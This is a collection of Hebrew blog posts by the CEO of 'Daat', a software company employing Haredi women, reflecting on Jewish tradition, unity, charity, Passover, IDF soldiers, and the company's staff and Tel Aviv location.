חיילי צה"ל הקרביים, שלא מהססים עד היום להיכנס למנהרות ולכל אזור לחימה שנדרש. חיילי צה"ל שנלחמים כי צריך. ללא מחשבות אנוכיות ומתוך רצון עז פנימי לשנות את המציאות שלנו, של כולנו, כלל ישראל, הם הם הנחשונים בימינו.

ביום הזיכרון וביום העצמאות ובתפר הקשה בין שניהם אני חושבת שיש מקום לעצור רגע ולחשוב על החללים, הפצועים, הנכים, וגם על אותם חיילים שחזרו הביתה בשלום ונתנו ועשו והסתכנו עבור כולנו. ואולי לזכור שאנחנו יכולים להמשיך את הדרך שלהם. שבכל אחד מאיתנו מסתתר סופרמן שבאמת יכול לחתור לשנות , לנתץ מיתוסים, לחדור תקרות זכוכית, "לצאת מהקופסא", להשתחרר מתפיסות כובלות ומגבילות. להעיז להיות נחשון….ולשפר את העולם.

נילי דוידוביץ | מנכ"ל דעת

היזמת והמנכ"לית של 'דעת'. הקמתי את החברה כדי להוכיח שאפשר (וצריך) לשלב בין קריירה טכנולוגית משמעותית לבין אורח חיים ומשפחה. בבלוג הזה אני משתפת מהתובנות שלי על ניהול, טכנולוגיה ועל הניסיון היומיומי למצוא את האיזון הנכון בתוך 'רוחב הפס' של החיים.

The post נחשון בן עמינדב וחיילי צה"ל appeared first on דעת.

הגמרא אומרת "כשם שפרצופיהם שונים – כך דעותיהם שונות" (ברכות נח). כל אחד מאתנו בעל ראייה שונה וייחודית של המציאות. לעולם לא נוכל למצוא אדם שנסכים איתו לגבי כל נושא. כאשר מתפתחת מחלוקת, ואפילו הצדק עם אחד הצדדים, האתגר הוא לא להצליח להכריז 'אני צודק', אלא לדעת להתנהל מול השני בכבוד וליישב את המחלוקת בדרכי נועם.
ביהדות קוראים לזה "אהבת חינם" כשהמשמעות הרחבה היא לאהוב כל יהודי, גם כשיש שוני ואי הסכמה.
להפך, שלצערי מתרחש לא פעם, קוראים "שנאת חינם". שנאה זו היא הרסנית ומחריבה עולמות.

בי"ז בתמוז יתחילו ימי בין המצרים המסתיימים בתשעה באב, התאריך בו חרב בית המקדש. שאלו חז"ל "על מה נחרב בית המקדש השני?" וענו "על שנאת חינם". ואכן, מצבה החברתי של הקהילה היהודית במהלך שנות ה-60 של המאה הראשונה לספירה הנוצרית היה קשה ביותר; מאבקי כוח, סכסוכים קשים, שחיתות, כניעה ליצר, הלשונות לקיסר ומעשי נקמה שונים היו דבר שבשגרה.

במסכת גיטין מצטט רבי יוחנן את פסוק י"ד, פרק כ"ח בספר משלי, בו נאמר: "אשרי אדם מפחד תמיד ומקשה לבו, יפול ברעה", ומוסיף "על קמצא ובר קמצא חרבה ירושלים"; כלומר קשיות הלב והרשעות וכן הסיפור הידוע על קמצא ובר קמצא הובילו לחורבן הבית, ליציאה לגלות ולכל הרעות החולות שידענו מאז.

מעשה בקמצא ובר קמצא

ומעשה שהיה, כך היה: אחד מעשירי העיר ארגן בירושלים סעודה גדולה ומפוארת ושלח את משרתו להזמין את כל חבריו לסעודה. ברשימת החברים הופיע גם שמו של קמצא, אלא שהמשרת טעה והזמין במקומו את בר קמצא, שהיה שנוא על בעל הבית. כששמע בר קמצא על ההזמנה, התפלא תחילה וספקות מילאו את לבו. לאחר מכן חשב לעצמו, כי שונאו מנסה להתפייס עימו ומזמינו להיות חלק בלתי נפרד מהחוגגים בסעודתו. אלא שהמציאות הייתה שונה בתכלית. כשגילה העשיר את בר קמצא בין באי המסיבה, נתקף זעם גדול וביקשו להסתלק מהמקום מיד. בר קמצא השתומם, נבהל וחש בושה גדולה. הוא ביקש מבעל הבית שלא ישפילו ברבים ויתיר לו להישאר בסעודה בתמורה לתשלום מלא עבור הארוחה שלו, אך המארח סירב לבקשה. מגודל הבושה התחנן בר קמצא וביקש להישאר קמצא תמורה לחצי מדמי הסעודה, ומשזה עמד בסירובו הציע אף לשלם את כל דמי הסעודה ורק שלא יגורש ממנה בבושת פנים. למרות כל תחנוניו, סולק בר קמצא מהמקום. חכמי ישראל שהוזמנו לסעודה נותרו אדישים לנוכח המתרחש ולא עשו דבר כדי להגן על כבודו של בר קמצא ולצנן את זעמו של המארח.

בר קמצא, שלא התאושש מהעלבון הקשה, בחר בנקמה הוא הלך לנירון קיסר וסיפר לו כי היהודים החליטו למרוד בו. כדי להוכיח שהוא דובר אמת, הציע לקיסר לשלוח ליהודים עגל, אותו ציווה לעלות כקורבן. בר קמצא הטיל בניב שפתיו של העגל מום והביאו לקהילה. חכמים התלבטו מאוד בשאלה האם להקריב את העגל, בשל המום בשפתיו מחד ולנוכח שיקול "שלום המלכות" מאידך. לבסוף החליט זכריה בן אבקולס שלא להקריב את העגל. לאחר שקיבל נירון קיסר את ההוכחה הניצחת לבגידת היהודים, הייתה הדרך לחורבן קצרה.

לא רק על שנאת חינם חרבה ירושלים.

לאחר מכן, אמר רבי יוחנן: "ענוותנותו של רבי זכריה בן אבקולס, החריבה את ביתנו, ושרפה את היכלנו, והגליתנו מארצנו". רבי יוחנן מאשים בחורבן דווקא את רבי זכריה בן אבקולס ואת ענוותו. לכאורה, ענווה היא תכונה חיובית ונערצת, אלא שבמקרה זה, לדעת רבי יוחנן, היא גרמה לחורבן הבית. מעשה קמצא ובר קמצא יצר שרשרת שלמה של אירועים בלתי רצויים, שאת סופה המר הכריעה חולשת אופיו של זכריה בן אבקולס, אותה מכנה רבי יוחנן "ענווה"; שנאה עזה גרמה לבעל הבית לסלק את בר קמצא מסעודתו ולהשפילו ברבים, חכמי ישראל שנכחו במקום לא עשו דבר כדי לישר את ההדורים, בר קמצא החליט לנקום את נקמתו וזכריה בן אבקולס החליט להימנע מהקרבת הקורבן למרות פיקוח הנפש. זכריה בן אבקולס דקדק מאוד בענייני שחיטה כשרה והתעלם לחלוטין מעניינים הקשורים למצוות שבן אדם לחברו, ובשל חששו מהרושם שיותיר מעשה הקורבן, גרם לחורבן.

ומה הלקח?

שנאת חינם, על שלל מרכיביה הבלתי רצויים, איננה רק נחלת העבר אלא תופעה חמורה המתרחשת, לצערנו, גם בהווה. לשון הרע, הלבנת פנים ברבים, רכילות, ביקורתיות קשה, חוסר סובלנות והיעדר כבוד הם חלק בלתי נפרד משגרת החיים, והם מכרסמים בהתמדה בחוסן שלנו כחברה. את שנאת החינם יש לבער בהקדם, ויפה שעה אחת קודם. באותה מידה, חשוב ביותר לעשות הבחנה בין העיקר לטפל, ולהגמיש עמדות במקרים בהם עומדים על הפרק דיני נפשות. שהרי סיפור קמצא ובר קמצא בא ללמדנו לא רק שבכוחה של השנאה לחרב עולמות, אלא שהאהבה, ההקשבה וההתחשבות הם אבני הבניין של חברה מוסרית ופורחת. כלומר הלקח העיקרי הוא שאהבת חינם בוראת עולמות, ולעומתה שנאת חינם מחרבת ומשחיתה עולמות.

סובלנות והקשבה לאחר הם לא רק התשתית של תפישתנו הדתית והמוסרית בחברת "דעת", אלא גם חלק בלתי נפרד מכלי העבודה שלנו; כלים המובילים לשגשוג, להצלחה ולשביעות רצון של כל הצדדים המעורבים.

נילי דוידוביץ | מנכ"ל דעת

היזמת והמנכ"לית של 'דעת'. הקמתי את החברה כדי להוכיח שאפשר (וצריך) לשלב בין קריירה טכנולוגית משמעותית לבין אורח חיים ומשפחה. בבלוג הזה אני משתפת מהתובנות שלי על ניהול, טכנולוגיה ועל הניסיון היומיומי למצוא את האיזון הנכון בתוך 'רוחב הפס' של החיים.

The post שנאת חינם מחריבה עולמות appeared first on דעת.

לכבוד יום האישה הבינלאומי, החלטתי לבחון את נושא ארגוני הנשים בחברה החרדית. אמנם קיימים מספר ארגונים של נשים חרדיות, אך ארגונים אלו אינם מגדירים את עצמם כארגוני נשים. במאמר זה אנסה לבדוק מדוע.

ארגון הוא קבוצה אנושית הפועלת לשם הגשמת מטרה משותפת, ובעלת מטרות מוגדרות המהוות את סיבת קיומה.

מטרות ארגוני נשים כלליים אל מול מטרות ארגונים המופעלים על-ידי נשים חרדיות:
ארגון נשים מאופיין באופן כללי בכך שמטרתו היא קידום והעצמת מקומה ומעמדה של האישה בחברה. מימוש מטרה זו יכול להתבצע באמצעות פעילויות שונות, החל בקידום התפתחות אישית וקריירה, וכלה בכמעט כל תחום פעילות כמו הקמת מעונות לילדים ועשייה למען הקשישים בחברה.
מאחר ונשים חרדיות אינן מוכנות לאמץ קו אידיאולוגי אשר מצוי מחוץ לתורה, חיזוק מעמד האישה לא יכול להוות קו מנחה או מטרה בארגוני נשים אלו. על-כן, ארגוני נשים חרדיות הינם ארגונים המופעלים על-ידי נשים המגדירים את פעילותן כמטרה עצמה, כדוגמת “בת מלך” – ארגון המפעיל מקלטים לנשים מוכות חרדיות ודתיות או “ניצ”ה” – ארגון לנשים הסובלות מדיכאון שלאחר לידה, ורבים אחרים.
מטרתם של ארגונים אלו הינה השטת עזרה לכל אדם באשר הוא אדם, ובמקרה זה לכל אישה. בדומה לארגוני חסד חרדיים אחרים, כדוגמת “יד שרה” – ארגון התנדבותי העוזר לחולים, ארגונים אלו אינם מגזריים.

לכבוד יום האישה הבינלאומי, החלטתי לבחון את נושא ארגוני הנשים בחברה החרדית. אמנם קיימים מספר ארגונים של נשים חרדיות, אך ארגונים אלו אינם מגדירים את עצמם כארגוני נשים. במאמר זה אנסה לבדוק מדוע.

"העצמה נשית" מול "חסד"

הנשים החרדיות אינן מחפשות אחר יציאה אל מחוץ למסגרת, להיפך, הן רוצות לבטא את עשייתן בתוך ביתן וקהילתן (זוהי אגב סיבת הצלחתם של מקומות עבודה כדוגמת "דעת"). כמו-כן, העיניים החרדיות, תופשות את הנפת דגלי ה"העצמה" וה"שיויון" כאקט מוחצן ולא הכרחי.

נשים חרדיות המשתייכות לארגונים חרדיים בכלל ו/או לארגוני נשים חרדיות בפרט, עושות בפועל לא פחות מנשות "אמונה" או "ויצו", ולא בפחות התלהבות, מסירות, מימוש עצמי וסיפוק. אך הכותרת אשר עומדת בראש מעשיהן הינה כותרת אחרת – "חסד".

נילי דוידוביץ | מנכ"ל דעת

היזמת והמנכ"לית של 'דעת'. הקמתי את החברה כדי להוכיח שאפשר (וצריך) לשלב בין קריירה טכנולוגית משמעותית לבין אורח חיים ומשפחה. בבלוג הזה אני משתפת מהתובנות שלי על ניהול, טכנולוגיה ועל הניסיון היומיומי למצוא את האיזון הנכון בתוך 'רוחב הפס' של החיים.

The post ארגוני נשים בחברה החרדית. פוסט לכבוד יום האישה הבינלאומי appeared first on דעת.

אבל בעיני יש לפרש את תוצאות הניסוי קצת אחרת.

"עניי עירך קודמים" מצווה עלינו לתרום קודם כל לנזקק שבסביבה הפיזית הקרובה שלנו. התייחסתי בפוסט קודם לכך שבעיני הכוונה היא לתרום לא רק לקרובים הנמצאים בעיר בה אני מתגוררת, אלא גם לאלו הקרובים אלי רעיונית, למשל לאנשים השייכים לקבוצה חברתית כלשהי אליה אני שייכת. התפיסה הזו גם מסבירה את תוצאות הניסוי. אפשר לומר שמעבר לציווי יש לכל אחד נטייה טבעית לתרום לנזקק הקשור אליו רעיונית. כך בניסוי, העניים הם שתרמו לקבצן העני, מתוך תחושה של הזדהות.

אין זה אומר שעשירים הם אנשים לא אמפתיים ולא נדיבים… למעשה, אנו מוצאים לא מעט עשירים מפורסמים התורמים כספים רבים מההון אותו הם צברו. ביל גייטס הקים את קרן ביל ומלינדה גייטס התורמת סכומים נכבדים למוסדות חינוך ולמחקרים רפואיים, וורן באפט הצהיר שיתרום 85% מכספו לצדקה, הרב זאב וולפסון היה ידוע בתרומותיו הנדיבות לעולם התורני וכו'.

אז לא בטוח שאנשי השכונה העשירה יתנו כמה פרוטות לעני בקרן הרחוב, אבל חשוב להבין שיתכן שחלק נכבד מהם מעביר הון לגורמים אחרים, בעיקר ממסדיים, שאיתם הם מזדהים. למעשה, יתכן שאותם מקבצי נדבות נהנים גם הם מאותן התרומות (למשל מתרומות לבתי ספר ולבתי חולים).
ובהקשר לניסוי, מעניין מה היה קורה אילו היינו מציבים בשכונה העשירה סטודנט עני המבקש תרומה למימון לימודיו… האם גם אז הממצאים יראו שהעשירים אינם אמפתיים?
המסקנה האישית שלי מהניסוי היא שעלינו לקרב בין הקבוצות השונות. לגרום לאנשים לא להירתע מהשונה מהם, כדי שנגיע למצב שגם העשיר יחוש קרבה וחמלה לא רק לסטודנט עני, אלא גם להלך עני ופשוט. כמו כן, עלינו לדון כל אדם לכף זכות, ולהבין שגם עשירים תורמים, פשוט אחרת.

ואיך מתקשרת הצדקה לתקופה זו, כאשר אנו בפתחם של הימים הנוראים? בימים אלו ניתנה לנו ההזדמנות להתבונן בדרכנו ולשפר את עצמנו באמצעות שלושה דברים: "ותשובה ותפילה וצדקה". ראו את מעלתה של הצדקה ביהדות, המהווה אחד משלושת הגורמים המסייעים לנו למתק את גזר הדין הנחתם בראש השנה, שבכוחה אף להציל האדם ממוות. שהרי ידוע שהקב"ה נוהג במידה כנגד מידה עם ברואיו – הנוהג בחסד עם הבריות, אף מן השמיים ינהגו עמו בחסד.
שתהיה לכולנו שנה טובה מלאת חסד ונתינה,
נילי

נילי דוידוביץ | מנכ"ל דעת

היזמת והמנכ"לית של 'דעת'. הקמתי את החברה כדי להוכיח שאפשר (וצריך) לשלב בין קריירה טכנולוגית משמעותית לבין אורח חיים ומשפחה. בבלוג הזה אני משתפת מהתובנות שלי על ניהול, טכנולוגיה ועל הניסיון היומיומי למצוא את האיזון הנכון בתוך 'רוחב הפס' של החיים.

The post עניי עירך קודמים אפילו בשטוקהולם‎ appeared first on דעת.

הרב הציע להם להצטרף לפרוייקט קהילתי ראשון מסוגו אשר מטרתו העיקרית לאחד בין יהודים מכל גווני הקשת:´פרויקט השבת העולמית´.

הרב הראשי של דרום אפריקה, הרב וורנר גולדשטיין, קרא ליהודי דרום אפריקה , מכל העדות, המגזרים ורמות "הדתיות", להתאחד יחדיו בקיום מצוות השבת ולשמור שבת אחת כהלכתה. תוצאות היוזמה היו מפתיעות למדי. לפרויקט חוצה המגזרים הצטרפו רוב יהודי דרום אפריקה, אשר לרבים מהם הייתה זו הפעם הראשונה שטעמו בחייהם טעם שבת אמיתית מהו.

הרב וורנר גולדשטיין לא צפה את התוצאות. אלפי יהודי דרום אפריקה בעשר ערים שונות התארגנו והתכוננו לשמירת השבת, החל מכתיבת מדריך לשמירת שבת כהלכתה והתארגנות לאירוח משפחות מאזורים מרוחקים, דרך אפיית חלות משותפת,תפילות וברכות,וכלה בטקס הבדלה מרגש.

הסרטון המומלץ ביותר לצפייה מציג את ההתראגנות וההירתמות, העשייה והחוויה המשותפת של יהודי דרום אפריקה, ללא התייחסות לרמתו הדתית של איש מן המשתתפים.

לי זה מזכיר את ההכנות לקבלת התורה.

עם ישראל,  עם שלם, כאיש אחד, מתכוננים שלושה ימים לקבלת התורה.

עם ישראל, כל אחד לחוד וכולם ביחד, מתרגשים מעצם החוויה הרוחנית דתית והפיזית, מעצם המעמד, עוד לפני תחילתו ,

עם ישראל עומד מגובש למרגלות עם סיני, מאוחד במחשבות, תחושות, משאלות ושאיפות, ומתוך האחדות הזו, מוכן לקבל את התורה.

התורה מדגישה את אחדותם באותה שעה: "ויחן שם ישראל נגד ההר" (שמותיט, ב). הפסוק נוקט בלשון יחיד: "ויחן", לרמוז שבאותה שעה חניית ישראל ביטאה אחדות ולכידות: "כאיש אחד בלב אחד". רק לאחר שבני ישראל הגיעו למדרגה זו של אחווה, יכלו להתקדם למדרגה הגבוהה של קבלת תורה ולהכריז, שוב, ביחד, בלשון יחיד:  "ויענו כל העם יחדיו ויאמרו, כל אשר דיבר ה' נעשה" (שמותיט, ח).

כח ה"יחדיו" הוא זה שאפשר להם לקבל את התורה.

אם עד היום חשבנו שאין סיכוי לאחדות כזו בימינו, שלא ניתן להרכיב תמונה אחת שלמה, אחדות בלב ובנפש בין חלקי הפאזל של דתיים – חילונים – חרדים – ליטאים – חסידים – מזרחיים – אשכנזים – לבנים – שחורים – חומים –ג'ינג'ים – דרומיים – צפונבונים – עירוניים – קיבוצניקים – מושבניקים – מתנחלים – שמאלנים ……., יהודי דרום אפריקה מוכיחים לנו שאנחנו טועים.

אז אולי השנה נכין את עצמנו לקבלת התורה….על ידי הנכונות לקבל איש את רעהו, האחד את האחר? אולי נגיע לחג מתוך עמדה של "ואהבת"?

נילי דוידוביץ | מנכ"ל דעת

היזמת והמנכ"לית של 'דעת'. הקמתי את החברה כדי להוכיח שאפשר (וצריך) לשלב בין קריירה טכנולוגית משמעותית לבין אורח חיים ומשפחה. בבלוג הזה אני משתפת מהתובנות שלי על ניהול, טכנולוגיה ועל הניסיון היומיומי למצוא את האיזון הנכון בתוך 'רוחב הפס' של החיים.

The post קבלת תורה מודרנית appeared first on דעת.

ביהדות ברמה האישית הטון הדומיננטי הוא הנורמה, הצו, החובה, ולא הרשות, המותר או הזכות.

לדוגמא,

הרמב"ם בסוף הלכות שכירות כותב:

"כדרך שמוזהר בעל הבית שלא יגזול שכר עני ולא יעכבנו, כך העני מוזהר שלא יגזול מלאכת בעל הבית ויבטל מעט בכאן ומעט בכאן ומוציא כל היום במרמה, אלא חייב לדקדק על עצמו בזמן… וכן חייב לעבוד בכל כוחו."

ההלכה מתייחסת לחובות בעל הבית ולחובות השכיר, ולא לזכויותיהם.

ולא רק על המצווה והחובה מדבר ההלכה, אלא, גם על שעבודו של האדם.

ההלכה מתייחסת ליחיד – אדם בכלל ויהודי בפרט – כאל עבד ה'. השעבוד הינו לא רק כי אנחנו הברואים והאל הוא הבורא, אלא גם כמתבקשת מאליה לאור מעשיו של האל, בהווה או בעבר. פעולתו כבורא "אשר בידו נפש כל חי": מכוח היותו זן, מפרנס ומיטיב לכל; מן התלות המוחלטת של האדם בחסדיו וכמובן בשל הוצאתינו על ידו ממצרים, לא לחופשי, אלא להיות עבדיו.

העולם המודרני "מקדש" את החירות המחשבתית והחופש הנותן לכל אדם לחיות על פי רצונו. ואילו בהלכה מדברת המונחים של "מצווה" ו"חיוב", חובות הפרט ולא זכויותיו.

איך אני , החיה ומאמינה בתורה, בהלכה, ובזכויות הפרט מסתדרת עם סתירה זו?

בהלכה יש אמנם פן של שעבוד. אכן, יש בה יותר מכך; חכמים הדגישו שיש בה פן של חירות המוגשת לנו על ידי הזכות לבחירה חופשית.

המושג בחירה חופשית מציין את זכותו של כל אדם לבחור את דרכו ואת מעשיו בעצמו וכרצונו – מתוך מודעות לתוצאות בחירתו. בתנ"ך מופיע הרעיון של בחירה חופשית כבר בפרשה הראשונה הפותחת את התורה (ואת התנ"ך) – בסיפור גן עדן. ה' אסר על האדם לאכול מפרי עץ הדעת, אך לא שלל ממנו את האפשרות לעבור על האיסור – ולאכול מהפרי האסור. וכך, לצד האיסור עצמו, הציג ה' לאדם את המחיר הכרוך בהפרתו: "כִּי בְּיוֹם אֲכָלְךָ מִמֶּנּוּ מוֹת תָּמוּת" (בראשית ב). האדם ביהדות הוא אפוא יצור אוטונומי, בעל אחריות מוסרית למעשיו ולבחירתו.
הרמב"ם כותב שעמוד התרה והמצווה הוא "הבחירה החופשית". האדם ברצונותיו יכול להחריב את העולם וברצונותיו לקיים את דבר ה'.

כלומר, אותה הלכה בדיוק מדגישה מעל ומעבר את החירות. כל מערכת ההלכה, חוקיה ודיניה כמו גם מערכת הסנקציות שבצדם, מבוססים על זכות האדם בחופש הבחירה ועל האמונה הבסיסית ביכולת האדם לבחור בחופשיות ולנווט את צעדיו.

כאשר מקדשים רק את הזכות לבחור את דרך וצורת החיים, אנחנו עלולים להגיע לאבסורדים ולבחור את הזכות למות, הזכות לקצר חיים לנו או לסובבים אותנו, הזכות לסחור בגוף שלנו, הזכות למכור איברים ועוד.

השילוב שההלכה מציגה לנו בין זכות הבחירה לבין השעבוד למשהו גדול מאיתנו, מאפשרת לנו  לבחור בין השענות על "מכשיר הניווט האבסלוטי-האלוקי" לבין לנסות להסתדר לבד… או לא.

נילי דוידוביץ | מנכ"ל דעת

היזמת והמנכ"לית של 'דעת'. הקמתי את החברה כדי להוכיח שאפשר (וצריך) לשלב בין קריירה טכנולוגית משמעותית לבין אורח חיים ומשפחה. בבלוג הזה אני משתפת מהתובנות שלי על ניהול, טכנולוגיה ועל הניסיון היומיומי למצוא את האיזון הנכון בתוך 'רוחב הפס' של החיים.

The post "כי לי בני ישראל עבדים, עבדי הם אשר הוצאתי אותם מארץ מצרים אני ה' אלקיכם" appeared first on דעת.

צ'רלס פלאם, בוגר המכללה הימית של צבא ארה"ב, היה טייס קרב בוייטנאם. לאחר 57 טיסות קרביות, המטוס שלו הושמד ע"י טיל קרקע-אויר.
פלאם פלט את עצמו מהמטוס וצנח לשטח האויב. הוא נשבה ו"בילה" שש שנים ארוכות בכלא קומוניסטי.
הוא שרד.
יום אחד, פלאם ואישתו ישבו במסעדה, ניגש אליהם אדם ואמר: "אתה פלאם! אתה הטסת מטוסי קרב בוייטנאם מנושאת המטוסים "קיטי הוק" והמטוס שלך הופל!".
"איך ידעת?" שאל פלאם.
"אני קיפלתי לך את המצנח", השיב האיש.
פלאם היה המום.
האיש אחז בידו ואמר "נראה שהמצנח נפתח".
"ועוד איך!" אישר פלאם "אם המצנח שלך לא היה נפתח לא הייתי כאן היום".
אותו הלילה לא הצליח פלאם לישון. הוא כל הזמן חשב על מקפל המצנחים, וניסה לדמיין כיצד היה נראה אותו אדם במדי חיל הים שלו על גבי נושאת המטוסים עליה שרתו שניהם.
הוא תהה כמה פעמים חלף על פניו ואפילו לא שם לב אליו או טרח לומר לו בוקר טוב. פלאם היה טייס קרב, והאיש… מלח פשוט. פלאם חשב על השעות הרבות אותן בילה המלח בבטן האונייה, בודק מייתרים ומקפל בקפידה את בד המשי של המצנחים, מחזיק בשתי ידיו, בכל פעם מחדש, את גורלו של אדם שלא הכיר.
פלאם פרסם את ההתנסות שלו ושואל את הקהל בהרצאותיו, "מי מקפל לכם את המצנח?"(מחבר הסיפור אינו ידוע).

על בניית מערכת האתרים, כמו על כל פרויקט אחר שמבוצע בדעת, אמון צוות הכולל מפתחות, בודקות תוכנה ומזינות תוכן. מאות אלפי הגולשים באתרים השונים שפיתחנו, לא חושבים על העבודה שבוצעה על ידי אותו הצוות. למעשה גם משרדי הפרסום ומחלקות השיווק של הלקוחות שלנו לא תמיד מודעים לעבודתן של העובדות העומדות מאחורי הפרויקט. הם לא מודעים למקצועיות, לאיכות לאכפתיות ולמסירות של כל אחת ואחת.
אבל לי זה ברור. עובדות אלו הן מקפלות המצנחים. ולא רק של לקוחות החברה, אלא גם של משפחת דעת כולה.

וזו הזדמנות מצוינת לפנות אליכן, עובדות יקרות, להודות לכן על כל השעות וההשקעה, על כך שבזכותכן התוצרים של "דעת" הם ברמה גבוהה ביותר.

נילי דוידוביץ | מנכ"ל דעת

היזמת והמנכ"לית של 'דעת'. הקמתי את החברה כדי להוכיח שאפשר (וצריך) לשלב בין קריירה טכנולוגית משמעותית לבין אורח חיים ומשפחה. בבלוג הזה אני משתפת מהתובנות שלי על ניהול, טכנולוגיה ועל הניסיון היומיומי למצוא את האיזון הנכון בתוך 'רוחב הפס' של החיים.

The post בנימה אישית appeared first on דעת.

כָּל אָדָם צָרִיך מִצְרַיִם
כָּל אָדָם צָרִיך שֶׁתִּהְיֶה לוֹ
אֵיזוֹ מִצְרַיִם,
לִהְיוֹת מֹשֶׁה עַצְמוֹ מִתּוֹכָהּ
בְּיָד חֲזָקָה,אוֹ בַּחֲרִיקַת שִׁנַּיִם.

כָּל אָדָם צָרִיך אֵימָה וַחֲשֵׁכָה גְּדוֹלָה,
וְנֶחָמָה, וְהַבְטָחָה, וְהַצָּלָה,
שֶׁיֵּדַע לָשֵׂאת עֵינָיו אֶל הַשָּׁמַיִם.
כָּל אָדָם צָרִיך תְּפִלָּה אַחַת,
שְׁתֵּהֵא שְׁגוּרָה אֶצְלוֹ עַל הַשְּׂפָתַיִם.
אָדָם צָרִיך פַּעַם אַחַת לְהִתְכּוֹפֵף –
כָּל אָדָם צָרִיך כָּתֵף..

כָּל אָדָם צָרִיך שֶׁתִּהְיֶה לוֹ אֵיזוֹ מִצְרַיִם,
לִגְאֹל עַצְּמוֹ מִמֶּנָה מִבֵּית עֲבָדִים,
לָצֵאת בַּחֲצִי הַלַּיִל אֶל מִדְבַּר הַפְּחָדִים,
לִצְעֹד הַיְשֵׁר אֶל תּוֹך הַמַּיִם,
לִרְאוֹתָם נִפְתָּחִים מִפָּנָיו לַצְּדָדִים.
כָּל אָדָם צָרִיך כָּתֵף,
לָשֵׂאת עָלֶיהָ אֶת עַצְמוֹת יוֹסֵף,
כָּל אָדָם צָרִיך לְהִזְדַּקֵּףְ.

כָּל אָדָם צָרִיך שֶׁתִּהְיֶה לוֹ
אֵיזוֹ מִצְרַיִם.
וִירוּשָׁלַיִם,
וּמַסָּע אָרוֹך אֱחָד,
לִזְכֹּר אוֹתוֹ לָעַד
בְּכַפּוֹת הָרַגְלַיִם.

לכל אחד מאיתנו יש איזו מצרים. מצרים שאולי אנחנו מודעים לה ואולי לא, אבל היא שם.
ועל כל אחד מאיתנו לצאת ממצרים – מהמְצָרִים

ואמנם ממצרים הגשמית כבר יצאנו ואל ירושלים הגענו, אבל כל אחד מאיתנו עדיין משועבד למשהו. לקריירה, למנהג מעצבן, לצורת חשיבה, למידה לא נעימה. לכל אחד מאיתנו יש מסע אותו הוא צריך לעשות. מסע למקום טוב יותר.

וגם אם כבר יצאנו ממצרים – מהצרות שלנו בשנה שעברה וגם אם המשכנו והתקדמו במסע גם השנה, לא סיימנו את המסע, כי תמיד יש שם מצרים אחת נוספת – מיצר אחד נוסף שמנהל אותנו ולו אנו עבדים.
שכן יציאת המצרים הפרטית, היא לא מעשה של רגע; היציאה היא מסע חיים שהמשמעות שלו היא בעצם קיומו. המסע הינו יציאה מאזור הנוחות למקום חדש, יציאה ממקום  אותו אני רוצה לשפר, למקום טוב יותר. והמטרה אינה ההגעה ליעד, אלא כל הלימוד והגדילה שאני אוספת לאורך המסע עצמו.

משה רבינו, הפרטי של כל אחד מאיתנו, הוא אנחנו. רק אני יכולה להתחיל את התהליך, בין  בעוז ובין בגמגום. אף אחד לא יכול לחלץ אותי ללא הצעד הראשון שלי. גם אם הצעד הזה הוא לא יותר מאשר עצם המודעות לכך שאני במצרים, משועבדת בבית עבדים למשהו שמייצג בעיני את פרעה העכשווי הפרטי שלי, וכל מה שאני יכולה לעשות זה להאנח ולזעוק.

ויחד עם הדרישה להתחיל את התהליך מגיעה ההבנה, שעל מנת להתקדם אני זקוקה לכתף, לסיוע, לתפילה ולעזרה משמים.

והיפה בכל הסיפור הוא השימוש הדו משמעי בדימוי ה"כתף": באותו הזמן שאני נשענת על כתף הזולת, אני מושיטה כתף לאדם נוסף; פעם נותנת ופעם מקבלת. לעולם לא רק נזקקת. לעולם לא רק נותנת.

ומה אתם חושבים?

אני מנצלת את הבמה הזו ומאחלת לכולנו חג פסח משמעותי, שמח וכשר.

נילי

נילי דוידוביץ | מנכ"ל דעת

היזמת והמנכ"לית של 'דעת'. הקמתי את החברה כדי להוכיח שאפשר (וצריך) לשלב בין קריירה טכנולוגית משמעותית לבין אורח חיים ומשפחה. בבלוג הזה אני משתפת מהתובנות שלי על ניהול, טכנולוגיה ועל הניסיון היומיומי למצוא את האיזון הנכון בתוך 'רוחב הפס' של החיים.

The post בכל דור ודור חייב אדם לראות את עצמו כאילו הוא יצא ממצרים appeared first on דעת.

בשונה מדעת, רוב מרכזי הפיתוח החרדיים בחרו למקם עצמם בערים החרדיות, ואין זה מפתיע כיוון שלכולנו נוח יותר להימצא קרוב לבית, בסביבה בה אנו מוקפים ברחובות ובאנשים עם המנטליות המוכרת לנו.

אז למה תל אביב? מדוע דעת בחרה לבדל את עצמה ולמקם את משרדי הפיתוח ובדיקות התוכנה שלה בלב תל אביב?

מספר סיבות חשובות ומשמעותיות הובילו אותנו לצעד זה שאיננו טריוויאלי, בעיקר לא עבור המתכנתות ובודקות התוכנה החרדיות העושות דרכן לתל אביב מדי בוקר.

כחברה העובדת עבור ארגונים וחברות מובילות בישראל, רובם בתל אביב או בסביבתה, למיקום שלנו יש השפעה גדולה לאורך כל תהליך ההתקשרות מול הלקוח.
עבור הלקוח, לא מדובר כאן רק ביתרון הקרבה הפיזית, שבעיקר חוסך לא מעט זמן כאשר יש צורך בקיום פגישות במשרדי דעת – אלא גם בתחושה הנוחה להגיע לסביבה המוכרת לו. לפגוש את החברה החרדית, שגם כך שונה בערכיה מאלו שהוא מכיר, בסביבה הביתית שלו ולא להפך.
אחד המנהלים בארגון מוביל שבחר לעבוד עם דעת, ציין בפני שהוא מאד התרשם מאיכות העבודה ומהסטנדרטים הגבוהים של דעת, יחד עם זאת מה שבסופו של דבר עזר לו להכריע ולבחור בנו היה: המיקום.

מלבד הנוחות בעבודה מול לקוחותינו, המיקום של דעת הוא בסמוך למשרדי חברת האם, ריל קומרס, חברת אסטרטגיה ופיתוח בטכנולוגיות אינטרנט ומובייל מהמובילות בישראל.
אמנם עובדות החברה הן בעלות השכלה גבוהה ממוסדות אקדמאיים המוכרים על ידי משרד החינוך, אם כי בתחום הפיתוח והבדיקות מאד חשוב להתעדכן תדיר בחידושים הטכנולוגיים. העבודה בצמוד לריל קומרס, מסייעת לעובדות לקבל הכשרות וליווי מהצוות המקצועי של חברת האם ולשמור על עדכניות הידע המקצועי. על ידי כך בדעת נשמרת רמה מקצועית גבוהה ביותר, בהתאם לסטנדרטים הגבוהים הנהוגים בריל קומרס.
